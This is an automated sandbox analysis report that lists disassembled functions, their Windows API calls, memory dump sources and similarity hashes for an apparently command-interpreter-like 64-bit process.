Function 00007FF718D71914 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D7196F

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D719B3
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D719D6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D71A01

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$DriveNamePathTypeVolume
String ID:
API String ID: 1029679093-0
Opcode ID: 98c11749b4d10f39a46d47e0adf4f6b8e1502341a23e0233d90f7bb3d593d270
Instruction ID: 6f466a01c41ebd13fe00cec33db520b6f9950a6ee2f23499533c673f3417006c
Opcode Fuzzy Hash: 98c11749b4d10f39a46d47e0adf4f6b8e1502341a23e0233d90f7bb3d593d270
Instruction Fuzzy Hash: 34312932705F858AEB209F21D8553E8A7A5FB8DB98F844135CA8D47B48DF38D64DC714

Function 00007FF718D57CF8 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D57D54
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D57D68

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction ID: 2317785fe519c490819a965629c3e331c58cec34f674025e2de6e5cc13149f3a
Opcode Fuzzy Hash: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction Fuzzy Hash: A5219261A08F49C6EB04AB51A900079F7B1FF8DFE5B959231CA9E03795DE3CE40D8724

Function 00007FF718D46A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D53C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D53D0C
Part of subcall function 00007FF718D53C24: towupper.MSVCRT ref: 00007FF718D53D2F
Part of subcall function 00007FF718D53C24: iswalpha.MSVCRT ref: 00007FF718D53D4F
Part of subcall function 00007FF718D53C24: towupper.MSVCRT ref: 00007FF718D53D75
Part of subcall function 00007FF718D53C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53DBF

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925,?,?,?,?,00007FF718D4B9B1), ref: 00007FF718D46ABF
RtlFreeHeap.NTDLL ref: 00007FF718D46AD3

Part of subcall function 00007FF718D46B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF718D46AE8,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B8B
Part of subcall function 00007FF718D46B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF718D46AE8,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B97
Part of subcall function 00007FF718D46B84: RtlFreeHeap.NTDLL ref: 00007FF718D46BAF

Part of subcall function 00007FF718D46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D46AF1,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B39
Part of subcall function 00007FF718D46B30: RtlFreeHeap.NTDLL ref: 00007FF718D46B4D
Part of subcall function 00007FF718D46B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D46AF1,?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925), ref: 00007FF718D46B59

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D6EA0F,?,?,?,00007FF718D6E925,?,?,?,?,00007FF718D4B9B1), ref: 00007FF718D46B03
RtlFreeHeap.NTDLL ref: 00007FF718D46B17

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
String ID:
API String ID: 3512109576-0
Opcode ID: 382550a8889551dd1746f9e05062d813c656d27a38cd142319c153c86f485295
Instruction ID: f42d970d601c5e6634eb633fce20940771660511a128658ad0c6f260eb06a008
Opcode Fuzzy Hash: 382550a8889551dd1746f9e05062d813c656d27a38cd142319c153c86f485295
Instruction Fuzzy Hash: D3219F21909F8AC5EB04BF65A4153B8FBA1EF5DB59F988071CA8E03351DE2CA44DC338

Function 00007FF718D4B6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B6D0
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B6E7
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B701
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4AF82), ref: 00007FF718D4B715

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocSize
String ID:
API String ID: 2549470565-0
Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction ID: 6b200a1628b1971bd647378313e4c0b820458c63185ef431d3856d4167e8f1c3
Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction Fuzzy Hash: CC214531A09F8A86EB18AB55E440078F6A1FB5DBA4BDC9571DA8E03B54DF3CE44DC324

Function 00007FF718D6CFF0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF718D5507A), ref: 00007FF718D6D01C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF718D5507A), ref: 00007FF718D6D033
FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF718D5507A), ref: 00007FF718D6D06D
SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF718D5507A), ref: 00007FF718D6D07F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
String ID:
API String ID: 1033415088-0
Opcode ID: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction ID: 42b132d44e5f9cf2501d1c40f15658e93d7699485f8d3bf1b539a597676311d9
Opcode Fuzzy Hash: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction Fuzzy Hash: C0117C31618B8686EB049B20B00517AF7A0FB8EBA5F805135EACE47B54DF3CC0498B14

Function 00007FF718D459E4 Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D45A2E
_open_osfhandle.MSVCRT ref: 00007FF718D45A4F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D637AA
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D637D2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
String ID:
API String ID: 22757656-0
Opcode ID: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction ID: ad23408d0f4b4a7dc82d0f14924b4b3dbe66e2beeff0bde0b77f5d87b1c545b6
Opcode Fuzzy Hash: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
Instruction Fuzzy Hash: 9A115E71A14B498BE7146B24E449339EAA0EB8DB78FA44334D6AA077D0CF3CD44D8B14

Function 00007FF718D59158 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF718D59163
RtlLookupFunctionEntry.NTDLL ref: 00007FF718D59182
RtlVirtualUnwind.NTDLL ref: 00007FF718D591CF
__raise_securityfailure.LIBCMT ref: 00007FF718D59245

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction ID: f4002d9b01eb0b71fdb9cf5f5ef3d3bb77ca4d3c8a0d209f1062cd42d8c43493
Opcode Fuzzy Hash: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction Fuzzy Hash: 8D216D36918F4985E740AB04E885369F7B4FB89768F900136EA8D82768DF7DE44DC728

Function 00007FF718D65690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF718D65433,?,?,?,00007FF718D669B8,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D656C5
RtlFreeHeap.NTDLL ref: 00007FF718D656D9
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF718D65433,?,?,?,00007FF718D669B8,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D656FD
RtlFreeHeap.NTDLL ref: 00007FF718D65711

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction ID: f34df002d96e504040e0ef05f15a3baa538542540be2dae09cbd49f7f54d69ca
Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction Fuzzy Hash: 55111672A04F8586DB049F56E4040A8FBB0F74DF99B988135DB8E03718DF38E49AC754

Function 00007FF718D54AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AD6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AEF

Part of subcall function 00007FF718D54A14: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A28
Part of subcall function 00007FF718D54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A66
Part of subcall function 00007FF718D54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A7D
Part of subcall function 00007FF718D54A14: memmove.MSVCRT(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A9A
Part of subcall function 00007FF718D54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54AA2

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D5EE64
RtlFreeHeap.NTDLL ref: 00007FF718D5EE78

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocEnvironmentFreeStrings$memmove
String ID:
API String ID: 2759988882-0
Opcode ID: 75675db4d9e082b6ee3134e55f7fee0755989425f88a4696f40f247a198a0c52
Instruction ID: 846b0f8ef4ba59fb6c60c5467aaee5f563d42ba14470364107582182c9568d99
Opcode Fuzzy Hash: 75675db4d9e082b6ee3134e55f7fee0755989425f88a4696f40f247a198a0c52
Instruction Fuzzy Hash: EDF03C60A15F8686EB08AB669405178E9F1EF8EB65BC89134C98E42340EE3CA50C8235

Function 00007FF718D6F22C Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D6F235
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D6F249
_get_osfhandle.MSVCRT ref: 00007FF718D6F263
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D6F276

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID:
API String ID: 1606018815-0
Opcode ID: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
Instruction ID: 011371e6ab08c1bd14b20e61d2ca4a8f0386b43933e01b47c03eea6d0f943127
Opcode Fuzzy Hash: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
Instruction Fuzzy Hash: 93F01C31A24F86CBE7086B10E4451B9FAA0FB8EB16FC49274DA8B02394DF3CD00C8B15

Function 00007FF718D710D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

wcschr.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF718D6827A), ref: 00007FF718D711DC
memmove.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF718D6827A), ref: 00007FF718D71277

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF718D711D5

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcessmemmovewcschr
String ID: &()[]{}^=;!%'+,`~
API String ID: 1135967885-381716982
Opcode ID: bd83934b9501f045900d4cea0c34526f969d72289539c66b600af79ca04ff41e
Instruction ID: 8c0adb78fc90dcf04c689339a4db74ca16d9db846d4ed5abcd25df9f555525b2
Opcode Fuzzy Hash: bd83934b9501f045900d4cea0c34526f969d72289539c66b600af79ca04ff41e
Instruction Fuzzy Hash: 6471F771908F4685EB60AF25A481679F6A1FB9C7A8FC00335DA8D87B94DF3CE40D8B14

Function 00007FF718D4E420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506D6
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506F0
Part of subcall function 00007FF718D506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D5074D
Part of subcall function 00007FF718D506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D50762

Part of subcall function 00007FF718D4EF40: iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF718D4E626,?,?,00000000,00007FF718D51F69), ref: 00007FF718D4F000
Part of subcall function 00007FF718D4EF40: wcschr.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F031
Part of subcall function 00007FF718D4EF40: iswdigit.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D4F0D6

longjmp.MSVCRT ref: 00007FF718D5CCBC
longjmp.MSVCRT(?,?,00000000,00007FF718D51F69,?,?,?,?,?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000), ref: 00007FF718D5CCE0

Strings

GeToken: (%x) '%s', xrefs: 00007FF718D5CC39, 00007FF718D5CCF2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcesslongjmp$iswdigitiswspacewcschr
String ID: GeToken: (%x) '%s'
API String ID: 3282654869-1994581435
Opcode ID: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
Instruction ID: 8e29e765098cc899f9f2ddfe2ed2b3625bb97a875a1b66ee71f34e4704f26bb8
Opcode Fuzzy Hash: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
Instruction Fuzzy Hash: DA61D171A0DF4A92FB14BB219450179E2A0AF4D7B4FD84635DA9D07AE5EE3CF44C8328

Function 00007FF718D708EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF718D709BC
wcsncmp.MSVCRT ref: 00007FF718D709F5

Strings

0123456789, xrefs: 00007FF718D708FE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memmovewcsncmp
String ID: 0123456789
API String ID: 3879766669-2793719750
Opcode ID: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction ID: 2bee32cd20447f3d7095cd8d5fbf36195d8c889b90164d37034f833448ecf363
Opcode Fuzzy Hash: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction Fuzzy Hash: 3E41D726F18B8E81EB25AF2694016BAF264FB48BA4F845131CE8E437C4DF3CD84D8354

Function 00007FF718D69784 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D697D0

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D698D7

Strings

Software\Classes, xrefs: 00007FF718D697C2

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

